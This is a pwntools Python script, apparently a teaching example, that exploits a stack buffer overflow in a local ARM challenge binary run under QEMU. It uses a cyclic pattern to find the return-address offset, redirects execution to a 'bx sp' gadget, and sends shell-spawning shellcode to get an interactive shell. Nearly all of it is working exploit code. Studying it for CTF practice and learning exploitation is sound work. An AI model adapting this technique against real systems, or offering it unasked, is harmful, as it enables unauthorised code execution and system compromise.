# Import everything in the pwntools namespace
from pwn import *

# We need to tell pwntools that we're using ARM
#
# We forced the GCC compiler to emit ARM instructions instead of
# thumb, but if we did not, you would otherwise want to set it to
# 'thumb'.
context.arch = 'arm'


# You could also specify any number of things about the exploit
# In this case it's not necessary, as these are assumed.
context.bits = 32
context.endian = 'little'

# You can also specify everything in one line
context(bits=32, endian='little')

# Create an instance of the process to talk to
#
# Because this is a foreign-architecture binary, we cannot attach to it
# after it has been started.  We must launch it under QEMU with a GDB
# stub.  Luckily, this is very easy.
io = gdb.debug('./challenge')

# Load a copy of the binary so that we can find a JMP ESP
binary = ELF('./challenge')

# Assemble the byte sequence for 'bx sp' so we can search for it
# However, the assembler from GCC is using thumb.
jmp_esp = asm('bx sp')
jmp_esp = binary.search(jmp_esp).next()

log.info("Found jmp esp at %#x" % jmp_esp)

# Overflow the buffer with a cyclic pattern to make it easy to find offsets
#
# If we let the program crash with just the pattern as input, the register
# state will look something like this:
#
# *R11  0x61616169 ('iaaa')
# *R12  0xf6ffe294 <-- 0
# *SP   0xf6ffe270 <-- 'kaaa'
# *PC   0x6161616a ('jaaa')
crash = False

if crash:
    pattern = cyclic(512)
    io.sendline(pattern)
    pause()
    sys.exit()

# Fill out the buffer until where we control EIP
exploit = cyclic(cyclic_find(0x6161616a))

# Fill the spot we control EIP with a 'jmp eip'
exploit += pack(jmp_esp)

# Add our shellcode
exploit += asm(shellcraft.sh())

# gets() waits for a newline
io.sendline(exploit)

# Enjoy our shell
io.interactive()